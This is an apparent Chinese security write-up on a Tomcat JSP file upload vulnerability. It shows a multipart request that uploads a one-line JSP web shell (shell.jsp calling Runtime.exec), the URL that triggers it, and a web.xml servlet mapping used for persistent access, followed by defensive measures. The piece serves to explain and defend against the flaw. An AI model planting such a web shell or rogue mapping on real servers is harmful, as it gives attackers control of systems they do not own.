记一次过滤jsp的文件上传
字数 903 2025-08-06 08:35:14
JSP文件上传漏洞分析与利用
0x01 环境介绍
本案例涉及一个存在JSP文件上传漏洞的Tomcat服务器环境,攻击者能够上传恶意JSP文件并成功执行,同时还能修改web.xml配置文件。
0x02 前置知识
JSP文件上传漏洞
- JSP(Java Server Pages)是Java EE技术中的动态网页技术标准
- 当服务器未对上传的JSP文件进行有效过滤时,攻击者可上传恶意JSP文件获取服务器控制权
web.xml文件
- web.xml是Java Web应用的部署描述文件
- 包含Servlet、Filter、Listener等组件的配置信息
- 修改web.xml可以添加新的路由或修改应用行为
0x03 漏洞利用过程
1. 文件上传
攻击者通过WebKitFormBoundary格式上传恶意JSP文件:
------WebKitFormBoundary67oVSNngE4QsAxoK--
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream
<% Runtime.getRuntime().exec("your_command"); %>
------WebKitFormBoundary67oVSNngE4QsAxoK--
2. 上传成功验证
- 观察Tomcat日志确认应用重新加载
- 访问上传的JSP文件验证执行:
http://127.0.0.1:8082/demo/shell.jsp
3. web.xml修改利用
攻击者可进一步修改web.xml文件:
- 添加新的Servlet映射
- 调用未授权的危险类
- 添加新的路由路径
0x04 关键问题解答
web.xml重写技术
关于评论中"web.xml重写怎么实现文件内容与原始文件内容一致"的问题:
-
文件覆盖技术:
- 完全覆盖原始web.xml文件
- 保留必要的配置元素避免应用崩溃
- 使用DOM解析器精确修改特定节点
-
可能涉及的漏洞:
- 文件上传路径穿越漏洞(../)
- 权限配置不当(web.xml可写)
- 应用热部署机制漏洞
-
实现方法:
<servlet> <servlet-name>malicious</servlet-name> <servlet-class>com.example.DangerousClass</servlet-class> </servlet> <servlet-mapping> <servlet-name>malicious</servlet-name> <url-pattern>/malicious</url-pattern> </servlet-mapping>
0x05 防御措施
-
文件上传防护:
- 限制上传文件类型(白名单)
- 禁止上传可执行脚本文件
- 文件内容检测
-
文件权限控制:
- web.xml设置为只读
- 应用目录权限最小化
-
安全配置:
- 禁用Tomcat自动部署
- 关闭开发模式功能
- 定期安全审计
0x06 总结
本案例展示了通过JSP文件上传漏洞获取服务器控制权的方法,并探讨了进一步利用web.xml修改实现持久化控制的可能。防御此类漏洞需要从文件上传过滤、权限控制和服务器配置多方面入手。